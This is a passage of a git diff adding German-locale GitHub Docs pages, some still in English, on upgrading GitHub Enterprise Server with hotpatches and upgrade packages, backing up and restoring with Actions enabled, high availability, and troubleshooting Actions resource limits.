+Nachdem du diese Empfehlungen und Anforderungen gelesen hast, kannst du {% data variables.product.prodname_ghe_server %} upgraden. Weitere Informationen findest du unter [Upgrade für {% data variables.product.prodname_ghe_server %} durchführen](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/).
diff --git a/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md b/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
new file mode 100644
index 0000000000..58c6be3da8
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
@@ -0,0 +1,262 @@
+---
+title: Upgrading GitHub Enterprise Server
+intro: 'Upgrade {% data variables.product.prodname_ghe_server %} to get the latest features and security updates.'
+redirect_from:
+  - /enterprise/admin/installation/upgrading-github-enterprise-server
+  - /enterprise/admin/articles/upgrading-to-the-latest-release
+  - /enterprise/admin/articles/migrations-and-upgrades
+  - /enterprise/admin/guides/installation/upgrading-the-github-enterprise-virtual-machine
+  - /enterprise/admin/guides/installation/upgrade-packages-for-older-releases
+  - /enterprise/admin/articles/upgrading-older-installations
+  - /enterprise/admin/hidden/upgrading-older-installations
+  - /enterprise/admin/hidden/upgrading-github-enterprise-using-a-hotpatch-early-access-program
+  - /enterprise/admin/hidden/upgrading-github-enterprise-using-a-hotpatch
+  - /enterprise/admin/guides/installation/upgrading-github-enterprise
+  - /enterprise/admin/enterprise-management/upgrading-github-enterprise-server
+  - /admin/enterprise-management/upgrading-github-enterprise-server
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Upgrades
+shortTitle: Upgrading GHES
+---
+
+
+## Preparing to upgrade
+
+1. Determine an upgrade strategy and choose a version to upgrade to. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
+1. Create a fresh backup of your primary instance with the {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see the [README.md file](https://github.com/github/backup-utils#readme) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation.
+
+  {% note %}
+
+  **Note:** Your {% data variables.product.prodname_enterprise_backup_utilities %} version needs to be the same version as, or at most two versions ahead of, {% data variables.location.product_location %}. For more information, see "[Upgrading GitHub Enterprise Server Backup Utilities](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance#upgrading-github-enterprise-server-backup-utilities)."
+
+  {% endnote %}
+
+1. If {% data variables.location.product_location %} uses ephemeral self-hosted runners for {% data variables.product.prodname_actions %} and you've disabled automatic updates, upgrade your runners to the version of the runner application that your upgraded instance will run.
+1. If you are upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. If you are using a hotpatch, maintenance mode is not required.
+
+  {% note %}
+
+  **Note:** The maintenance window depends on the type of upgrade you perform. Upgrades using a hotpatch usually don't require a maintenance window. Sometimes a reboot is required, which you can perform at a later time. Following the versioning scheme of MAJOR.FEATURE.PATCH, patch releases using an upgrade package typically require less than five minutes of downtime. Feature releases that include data migrations take longer depending on storage performance and the amount of data that's migrated. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+
+  {% endnote %}
+
+## Taking a snapshot
+
+A snapshot is a checkpoint of a virtual machine (VM) at a point in time. We highly recommend taking a snapshot before upgrading your virtual machine so that if an upgrade fails, you can revert your VM back to the snapshot. We only recommend taking a VM snapshot when the appliance is powered down or in maintenance mode and all background jobs have finished.
+
+If you're upgrading to a new feature release, you must take a VM snapshot. If you're upgrading to a patch release, you can attach the existing data disk. 
+
+There are two types of snapshots:
+
+- **VM snapshots** save your entire VM state, including user data and configuration data. This snapshot method requires a large amount of disk space and is time consuming.
+- **Data disk snapshots** only save your user data.
+
+  {% note %}
+
+  **Notes:**
+  - Some platforms don't allow you to take a snapshot of just your data disk. For these platforms, you'll need to take a snapshot of the entire VM.
+  - If your hypervisor does not support full VM snapshots, you should take a snapshot of the root disk and data disk in quick succession.
+
+  {% endnote %}
+
+| Platform | Snapshot method | Snapshot documentation URL |
+|---|---|---|
+| Amazon AWS | Disk | <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-creating-snapshot.html>
+| Azure | VM | <https://docs.microsoft.com/azure/backup/backup-azure-vms-first-look-arm>
+| Hyper-V | VM | <https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/enable-or-disable-checkpoints-in-hyper-v>
+| Google Compute Engine | Disk | <https://cloud.google.com/compute/docs/disks/create-snapshots>
+| VMware | VM | <https://docs.vmware.com/en/VMware-vSphere/7.0/com.vmware.vsphere.hostclient.doc/GUID-64B866EF-7636-401C-A8FF-2B4584D9CA72.html>
+
+## Upgrading with a hotpatch
+
+{% data reusables.enterprise_installation.hotpatching-explanation %} 
+
+Using the {% data variables.enterprise.management_console %}, you can install a hotpatch immediately or schedule it for later installation. You can use the administrative shell to install a hotpatch with the `ghe-upgrade` utility. For more information, see "[Upgrade requirements](/enterprise/admin/guides/installation/upgrade-requirements/)."
+
+{% note %}
+
+**{% ifversion ghes %}Notes{% else %}Note{% endif %}**:
+
+{% ifversion ghes %}
+- If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch.
+
+- {% endif %}Installing a hotpatch using the {% data variables.enterprise.management_console %} is not available in clustered environments. To install a hotpatch in a clustered environment, see "[Upgrading a cluster](/enterprise/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)."
+
+{% endnote %}
+
+### Upgrading a single appliance with a hotpatch
+
+#### Installing a hotpatch using the {% data variables.enterprise.management_console %}
+
+You can use the {% data variables.enterprise.management_console %} to upgrade with a hotpatch by enabling automatic updates. You will then be presented with the latest available version of {% data variables.product.prodname_ghe_server %} that you can upgrade to.
+
+If the upgrade target you're presented with is a feature release instead of a patch release, you cannot use the {% data variables.enterprise.management_console %} to install a hotpatch. You must install the hotpatch using the administrative shell instead. For more information, see "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)."
+
+1. Enable automatic updates. For more information, see "[Enabling automatic updates](/enterprise/admin/guides/installation/enabling-automatic-update-checks/)."
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.updates-tab %}
+4. When a new hotpatch has been downloaded, use the Install package drop-down menu:
+    - To install immediately, select **Now**:
+    - To install later, select a later date.
+  ![Hotpatch installation date dropdown](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png)
+5. Click **Install**.
+  ![Hotpatch install button](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png)
+
+#### Installing a hotpatch using the administrative shell
+
+{% data reusables.enterprise_installation.download-note %}
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Copy the URL for the upgrade hotpackage (*.hpkg* file).
+{% data reusables.enterprise_installation.download-package %}
+4. Run the `ghe-upgrade` command using the package file name:
+  ```shell
+  admin@HOSTNAME:~$ ghe-upgrade GITHUB-UPGRADE.hpkg
+  *** verifying upgrade package signature...
+  ```
+5. If a reboot is required for updates for kernel, MySQL, Elasticsearch or other programs, the hotpatch upgrade script notifies you.
+
+### Upgrading an appliance that has replica instances using a hotpatch
+
+{% note %}
+
+**Note**: If you are installing a hotpatch, you do not need to enter maintenance mode or stop replication.
+
+{% endnote %}
+
+Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time.
+
+#### Upgrading the primary instance
+
+1. Upgrade the primary instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)."
+
+#### Upgrading a replica instance
+
+{% note %}
+
+**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time.
+
+{% endnote %}
+
+1. Upgrade the replica instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time.
+{% data reusables.enterprise_installation.replica-ssh %}
+{% data reusables.enterprise_installation.replica-verify %}
+
+## Upgrading with an upgrade package
+
+While you can use a hotpatch to upgrade to the latest patch release within a feature series, you must use an upgrade package to upgrade to a newer feature release. For example to upgrade from `2.11.10` to `2.12.4` you must use an upgrade package since these are in different feature series. For more information, see "[Upgrade requirements](/enterprise/admin/guides/installation/upgrade-requirements/)."
+
+### Upgrading a single appliance with an upgrade package
+
+{% data reusables.enterprise_installation.download-note %}
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Select the appropriate platform and copy the URL for the upgrade package (*.pkg* file).
+{% data reusables.enterprise_installation.download-package %}
+4. Enable maintenance mode and wait for all active processes to complete on the {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+
+  {% note %}
+
+  **Note**: When upgrading the primary appliance in a High Availability configuration, the appliance should already be in maintenance mode if you are following the instructions in "[Upgrading the primary instance](#upgrading-the-primary-instance)."
+
+  {% endnote %}
+
+5. Run the `ghe-upgrade` command using the package file name:
+  ```shell
+  admin@HOSTNAME:~$ ghe-upgrade GITHUB-UPGRADE.pkg
+  *** verifying upgrade package signature...
+  ```
+6. Confirm that you'd like to continue with the upgrade and restart after the package signature verifies. The new root filesystem writes to the secondary partition and the instance automatically restarts in maintenance mode:
+  ```shell
+  *** applying update...
+  This package will upgrade your installation to version VERSION-NUMBER
+  Current root partition: /dev/xvda1 [VERSION-NUMBER]
+  Target root partition:  /dev/xvda2
+  Proceed with installation? [y/N]
+  ```
+{% ifversion ip-exception-list %}
+1. Optionally, to validate the upgrade, configure an IP exception list to allow access to a specified list of IP addresses. For more information, see "[Validating changes in maintenance mode using the IP exception list](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list)."
+{% endif %}
+7. For single appliance upgrades, disable maintenance mode so users can use {% data variables.location.product_location %}.
+
+  {% note %}
+
+  **Note**: When upgrading appliances in a High Availability configuration you should remain in maintenance mode until you have upgraded all of the replicas and replication is current. For more information, see "[Upgrading a replica instance](#upgrading-a-replica-instance)."
+
+  {% endnote %}
+
+### Upgrading an appliance that has replica instances using an upgrade package
+
+Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time.
+
+#### Upgrading the primary instance
+
+{% warning %}
+
+**Warning:** When replication is stopped, if the primary fails, any work that is done before the replica is upgraded and the replication begins again will be lost.
+
+{% endwarning %}
+
+1. On the primary instance, enable maintenance mode and wait for all active processes to complete. For more information, see "[Enabling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)."
+{% data reusables.enterprise_installation.replica-ssh %}
+3. On the replica instance, or on all replica instances if you're running multiple replica instances as part of geo-replication, run `ghe-repl-stop` to stop replication.
+4. Upgrade the primary instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)."
+
+#### Upgrading a replica instance
+
+{% note %}
+
+**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time.
+
+{% endnote %}
+
+1. Upgrade the replica instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time.
+{% data reusables.enterprise_installation.replica-ssh %}
+{% data reusables.enterprise_installation.replica-verify %}
+
+{% data reusables.enterprise_installation.start-replication %}
+
+{% data reusables.enterprise_installation.replication-status %} If the command returns `Replication is not running`, the replication may still be starting. Wait about one minute before running `ghe-repl-status` again.
+
+   {% note %}
+
+   **Note:** While the resync is in progress `ghe-repl-status` may indicate that replication is behind. For example, you may see the following message.
+   
+   ```
+   CRITICAL: git replication is behind the primary by more than 1007 repositories and/or gists
+   ```
+   {% endnote %}
+
+   {%- ifversion ghes = 3.4 or ghes = 3.5 or ghes = 3.6 %}
+
+   - If you have upgraded each node to {% data variables.product.product_name %} 3.6.0 or later and started replication, but `git replication is behind the primary` continues to appear after 45 minutes, contact {% data variables.contact.enterprise_support %}. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)."
+   {%- endif %}
+   - {% ifversion ghes = 3.4 or ghes = 3.5 or ghes = 3.6 %}Otherwise, if{% else %}If{% endif %} `ghe-repl-status` did not return `OK`, contact {% data variables.contact.enterprise_support %}. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)."
+6. When you have completed upgrading the last replica, and the resync is complete, disable maintenance mode so users can use {% data variables.location.product_location %}.
+
+## Restoring from a failed upgrade
+
+If an upgrade fails or is interrupted, you should revert your instance back to its previous state. The process for completing this depends on the type of upgrade.
+
+### Rolling back a patch release
+
+To roll back a patch release, use the `ghe-upgrade` command with the `--allow-patch-rollback` switch. Before rolling back, replication must be temporarily stopped by running `ghe-repl-stop` on all replica instances. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %}
+
+Once the rollback is complete, restart replication by running `ghe-repl-start` on all replicas. 
+
+For more information, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities/#ghe-upgrade)."
+
+### Rolling back a feature release
+
+To roll back from a feature release, restore from a VM snapshot to ensure that root and data partitions are in a consistent state. For more information, see "[Taking a snapshot](#taking-a-snapshot)."
+
+{% ifversion ghes %}
+## Further reading
+
+- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"
+{% endif %}
diff --git a/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md b/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md
new file mode 100644
index 0000000000..c9758cc7ef
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md
@@ -0,0 +1,48 @@
+---
+title: Sichern und Wiederherstellen von GitHub Enterprise Server mit aktivierten GitHub Actions
+shortTitle: Backing up and restoring
+intro: 'Um eine Sicherung von {% data variables.location.product_location %} wiederherzustellen, wenn {% data variables.product.prodname_actions %} aktiviert ist, musst du {% data variables.product.prodname_actions %} konfigurieren, bevor du die Sicherung mit {% data variables.product.prodname_enterprise_backup_utilities %} wiederherstellst.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Actions
+  - Backups
+  - Enterprise
+  - Infrastructure
+redirect_from:
+  - /admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled
+ms.openlocfilehash: 43279c6b99cce6618de9253c5d0451c0a661b095
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107309'
+---
+## Informationen zu Sicherungen von {% data variables.product.product_name %} bei Verwendung von {% data variables.product.prodname_actions %}
+
+Du kannst {% data variables.product.prodname_enterprise_backup_utilities %} verwenden, um die Daten und die Konfiguration für {% data variables.location.product_location %} in einer neuen Instanz zu sichern und wiederherzustellen. Weitere Informationen findest du unter [Konfigurieren von Sicherungen auf deiner Appliance](/admin/configuration/configuring-backups-on-your-appliance).
+
+Allerdings sind nicht alle Daten für {% data variables.product.prodname_actions %} in diesen Sicherungen enthalten. {% data reusables.actions.enterprise-storage-ha-backups %}
+
+## Wiederherstellen einer Sicherung von {% data variables.product.product_name %}, wenn {% data variables.product.prodname_actions %} aktiviert ist
+
+Um eine Sicherung von {% data variables.location.product_location %} mit {% data variables.product.prodname_actions %} wiederherzustellen, musst du die Netzwerkeinstellungen und den externen Speicher auf der Zielinstanz manuell konfigurieren, bevor du deine Sicherung aus {% data variables.product.prodname_enterprise_backup_utilities %} wiederherstellst. 
+
+1. Vergewissere dich, dass die Quellinstanz offline ist.
+1. Führe eine manuelle Konfiguration der Netzwerkeinstellungen auf der {% data variables.product.prodname_ghe_server %}-Ersatzinstanz durch. Netzwerkeinstellungen sind aus der Sicherungsmomentaufnahme ausgeschlossen und werden von `ghe-restore` nicht überschrieben. Weitere Informationen findest du unter [Konfigurieren von Netzwerkeinstellungen](/admin/configuration/configuring-network-settings).
+1. Stelle eine SSH-Verbindung mit der Zielinstanz her. Weitere Informationen findest du unter [Zugreifen auf die Verwaltungsshell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh).
+
+   ```shell{:copy}
+   $ ssh -p 122 admin@HOSTNAME
+   ```
+1. Konfiguriere die Zielinstanz so, dass sie denselben externen Speicherdienst für {% data variables.product.prodname_actions %} verwendet wie die Quellinstanz, indem du einen der folgenden Befehle eingibst.
+{% indented_data_reference reusables.actions.configure-storage-provider-platform-commands spaces=3 %} {% data reusables.actions.configure-storage-provider %}
+1. Um die Aktivierung von {% data variables.product.prodname_actions %} auf der Zielinstanz vorzubereiten, gibst du den folgenden Befehl ein.
+
+   ```shell{:copy}
+   ghe-config app.actions.enabled true
+   ```
+{% data reusables.actions.apply-configuration-and-enable %}
+1. Nachdem {% data variables.product.prodname_actions %} konfiguriert und aktiviert wurde, kannst du mit dem Befehl `ghe-restore` die übrigen Daten aus der Sicherung wiederherstellen. Weitere Informationen findest du unter [Wiederherstellen einer Sicherung](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup).
+1. Registriere deine selbstgehosteten Runner auf der Zielinstanz neu. Weitere Informationen findest du unter [Hinzufügen von selbstgehosteten Runnern](/actions/hosting-your-own-runners/adding-self-hosted-runners).
diff --git a/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/high-availability-for-github-actions.md b/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/high-availability-for-github-actions.md
new file mode 100644
index 0000000000..99c575f6bb
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/high-availability-for-github-actions.md
@@ -0,0 +1,44 @@
+---
+title: Hohe Verfügbarkeit für GitHub Actions
+intro: 'Beim Verwalten von {% data variables.product.prodname_actions %} in einer Konfiguration mit Hochverfügbarkeit müssen einige Besonderheiten berücksichtigt werden.'
+versions:
+  ghes: '*'
+type: reference
+topics:
+  - Actions
+  - Enterprise
+  - High availability
+  - Infrastructure
+  - Storage
+redirect_from:
+  - /admin/github-actions/high-availability-for-github-actions
+shortTitle: HA for GitHub Actions
+ms.openlocfilehash: c8b71ddb651baa0757100c356ce3f9edb0e1edee
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145102947'
+---
+## Replikation oder Redundanz deiner {% data variables.product.prodname_actions %}-Daten
+
+{% data reusables.actions.enterprise-storage-ha-backups %}
+
+Es wird dringend empfohlen, dass du deine externen {% data variables.product.prodname_actions %}-Speicher so konfigurierst, dass du die Datenredundanz oder -replikation nutzen kannst. Weitere Informationen findest du in der Dokumentation deines Speicheranbieters:
+
+* [Azure Storage-Redundanzdokumentation](https://docs.microsoft.com/en-us/azure/storage/common/storage-redundancy)
+* [Amazon S3-Replikationsdokumentation](https://docs.aws.amazon.com/AmazonS3/latest/dev/replication.html)
+
+## Hochverfügbarkeitsreplikate
+
+### Fördern eines Replikats
+
+Bei der Aktivierung einer Hochverfügbarkeitskonfiguration werden sämtliche Replikate automatisch so konfiguriert, dass sie die externe {% data variables.product.prodname_actions %}-Speicherkonfiguration nutzen. Wenn du einen Failover initiieren musst, um ein Replikat zu fördern, sind keine zusätzlichen Konfigurationsänderungen für {% data variables.product.prodname_actions %} erforderlich.
+
+Weitere Informationen findest du unter "[Initiieren eines Failovers für deine Replikat-Appliance](/admin/enterprise-management/initiating-a-failover-to-your-replica-appliance)".
+
+### Hochverfügbarkeitsreplikat entfernen
+
+Vermeide, dass mehrere Instanzen in denselben externen {% data variables.product.prodname_actions %}-Speicher schreiben können. Dies kann der Fall sein, wenn der `ghe-repl-teardown` Befehl verwendet wird, um ein aktiviertes {% data variables.product.prodname_actions %}-Replikat zu beenden und dauerhaft zu entfernen. Dies liegt daran, dass das Replikat in einen eigenständigen {% data variables.product.prodname_ghe_server %} konvertiert wird und dass nach dem Abbruch weiterhin dieselbe externe Speicherkonfiguration wie die primäre verwendet wird.
+
+Um dieses Problem zu umgehen, empfiehlt es sich, den Replikatserver zu deaktivieren oder seine {% data variables.product.prodname_actions %}-Konfiguration mit einem anderen externen Speicher zu aktualisieren.
diff --git a/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md b/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md
new file mode 100644
index 0000000000..a4839ae49f
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md
@@ -0,0 +1,21 @@
+---
+title: Erweiterte Konfiguration und Problembehandlung
+intro: 'Konfiguriere Hochverfügbarkeit für {% data variables.product.prodname_actions %}, und behandle {% data variables.product.prodname_actions %}-Probleme auf {% data variables.product.prodname_ghe_server %}.'
+versions:
+  ghes: '*'
+topics:
+  - Enterprise
+children:
+  - /high-availability-for-github-actions
+  - /backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled
+  - /using-a-staging-environment
+  - /troubleshooting-github-actions-for-your-enterprise
+shortTitle: HA & troubleshooting
+ms.openlocfilehash: ad7da43fc544a81c2e77140725726d0f4e86f04f
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '145106824'
+---
+
diff --git a/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md b/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md
new file mode 100644
index 0000000000..71088f9285
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md
@@ -0,0 +1,227 @@
+---
+title: Troubleshooting GitHub Actions for your enterprise
+intro: 'Troubleshooting common issues that occur when using {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}.'
+permissions: 'Site administrators can troubleshoot {% data variables.product.prodname_actions %} issues and modify {% data variables.product.prodname_ghe_server %} configurations.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+  - Troubleshooting
+redirect_from:
+  - /admin/github-actions/troubleshooting-github-actions-for-your-enterprise
+shortTitle: Troubleshoot GitHub Actions
+---
+
+## Checking the health of {% data variables.product.prodname_actions %}
+
+You can check the health of {% data variables.product.prodname_actions %} on {% data variables.location.product_location %} with the `ghe-actions-check` command-line utility. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-actions-check)" and "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)."
+
+## Configuring self-hosted runners when using a self-signed certificate for {% data variables.product.prodname_ghe_server %}
+
+{% data reusables.actions.enterprise-self-signed-cert %} For more information, see "[Configuring TLS](/admin/configuration/configuring-tls)."
+
+### Installing the certificate on the runner machine
+
+For a self-hosted runner to connect to a {% data variables.product.prodname_ghe_server %} using a self-signed certificate, you must install the certificate on the runner machine so that the connection is security hardened.
+
+For the steps required to install a certificate, refer to the documentation for your runner's operating system.
+
+### Configuring Node.JS to use the certificate
+
+Most actions are written in JavaScript and run using Node.js, which does not use the operating system certificate store. For the self-hosted runner application to use the certificate, you must set the `NODE_EXTRA_CA_CERTS` environment variable on the runner machine.
+
+You can set the environment variable as a system environment variable, or declare it in a file named _.env_ in the self-hosted runner application directory.
+
+For example:
+
+```shell
+NODE_EXTRA_CA_CERTS=/usr/share/ca-certificates/extra/mycertfile.crt
+```
+
+Environment variables are read when the self-hosted runner application starts, so you must set the environment variable before configuring or starting the self-hosted runner application. If your certificate configuration changes, you must restart the self-hosted runner application.
+
+### Configuring Docker containers to use the certificate
+
+If you use Docker container actions or service containers in your workflows, you might also need to install the certificate in your Docker image in addition to setting the above environment variable.
+
+## Configuring HTTP proxy settings for {% data variables.product.prodname_actions %}
+
+{% data reusables.actions.enterprise-http-proxy %}
+
+If these settings aren't correctly configured, you might receive errors like `Resource unexpectedly moved to https://<IP_ADDRESS>` when setting or changing your {% data variables.product.prodname_actions %} configuration.
+
+## Runners not connecting to {% data variables.product.prodname_ghe_server %} with a new hostname
+
+{% data reusables.enterprise_installation.changing-hostname-not-supported %}
+
+If you deploy {% data variables.product.prodname_ghe_server %} in your environment with a new hostname and the old hostname no longer resolves to your instance, self-hosted runners will be unable to connect to the old hostname, and will not execute any jobs.
+
+You will need to update the configuration of your self-hosted runners to use the new hostname for {% data variables.location.product_location %}. Each self-hosted runner will require one of the following procedures:
+
+* In the self-hosted runner application directory, edit the `.runner` and `.credentials` files to replace all mentions of the old hostname with the new hostname, then restart the self-hosted runner application.
+* Remove the runner from {% data variables.product.prodname_ghe_server %} using the UI, and re-add it. For more information, see "[Removing self-hosted runners](/actions/hosting-your-own-runners/removing-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+
+## Stuck jobs and {% data variables.product.prodname_actions %} memory and CPU limits
+
+{% data variables.product.prodname_actions %} is composed of multiple services running on {% data variables.location.product_location %}. By default, these services are set up with default CPU and memory limits that should work for most instances. However, heavy users of {% data variables.product.prodname_actions %} might need to adjust these settings.
+
+You may be hitting the CPU or memory limits if you notice that jobs are not starting (even though there are idle runners), or if the job's progress is not updating or changing in the UI.
+
+### 1. Check the overall CPU and memory usage in the management console
+
+Access the management console and use the monitor dashboard to inspect the overall CPU and memory graphs under "System Health". For more information, see "[Accessing the monitor dashboard](/admin/enterprise-management/accessing-the-monitor-dashboard)."
+
+If the overall "System Health" CPU usage is close to 100%, or there is no free memory left, then {% data variables.location.product_location %} is running at capacity and needs to be scaled up. For more information, see "[Increasing CPU or memory resources](/admin/enterprise-management/increasing-cpu-or-memory-resources)."
+
+### 2. Check the Nomad Jobs CPU and memory usage in the management console
+
+If the overall "System Health" CPU and memory usage is OK, scroll down the monitor dashboard page to the "Nomad Jobs" section, and look at the "CPU Percent Value" and "Memory Usage" graphs.
+
+Each plot in these graphs corresponds to one service. For {% data variables.product.prodname_actions %} services, look for:
+
+* `mps_frontend`
+* `mps_backend`
+* `token_frontend`
+* `token_backend`
+* `actions_frontend`
+* `actions_backend`
+
+If any of these services are at or near 100% CPU utilization, or the memory is near their limit (2 GB by default), then the resource allocation for these services might need increasing. Take note of which of the above services are at or near their limit.
+
+### 3. Increase the resource allocation for services at their limit
+
+1. Log in to the administrative shell using SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)."
+1. Run the following command to see what resources are available for allocation:
+
+   ```shell
+   nomad node status -self
+   ```
+
+   In the output, find the "Allocated Resources" section. It looks similar to the following example:
+
+   ```
+   Allocated Resources
+   CPU              Memory          Disk
+   7740/49600 MHZ   23 GiB/32 GiB   4.4 GiB/7.9 GiB
+   ```
+
+   For CPU and memory, this shows how much is allocated to the **total** of **all** services (the left value) and how much is available (the right value). In the example above, there is 23 GiB of memory allocated out of 32 GiB total. This means there is 9 GiB of memory available for allocation.
+
+   {% warning %}
+
+   **Warning:** Be careful not to allocate more than the total available resources, or services will fail to start.
+
+   {% endwarning %}
+1. Change directory to `/etc/consul-templates/etc/nomad-jobs/actions`:
+
+   ```shell
+   cd /etc/consul-templates/etc/nomad-jobs/actions
+   ```
+
+   In this directory there are three files that correspond to the {% data variables.product.prodname_actions %} services from above:
+
+   * `mps.hcl.ctmpl`
+   * `token.hcl.ctmpl`
+   * `actions.hcl.ctmpl`
+1. For the services that you identified that need adjustment, open the corresponding file and locate the `resources` group that looks like the following:
+
+   ```
+   resources {
+     cpu = 512
+     memory = 2048
+     network {
+       port "http" { }
+     }
+   }
+   ```
+
+   The values are in MHz for CPU resources, and MB for memory resources.
+
+   For example, to increase the resource limits in the above example to 1 GHz for the CPU and 4 GB of memory, change it to:
+
+   ```
+   resources {
+     cpu = 1024
+     memory = 4096
+     network {
+       port "http" { }
+     }
+   }
+   ```
+1. Save and exit the file.
+1. Run `ghe-config-apply` to apply the changes.
+
+    When running `ghe-config-apply`, if you see output like `Failed to run nomad job '/etc/nomad-jobs/<name>.hcl'`, then the change has likely over-allocated CPU or memory resources. If this happens, edit the configuration files again and lower the allocated CPU or memory, then re-run `ghe-config-apply`.
+1. After the configuration is applied, run `ghe-actions-check` to verify that the {% data variables.product.prodname_actions %} services are operational.
+
+{% ifversion fpt or ghec or ghes %}
+## Troubleshooting failures when {% data variables.product.prodname_dependabot %} triggers existing workflows
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+
+After you set up {% data variables.product.prodname_dependabot %} updates for {% data variables.location.product_location %}, you may see failures when existing workflows are triggered by {% data variables.product.prodname_dependabot %} events.
+
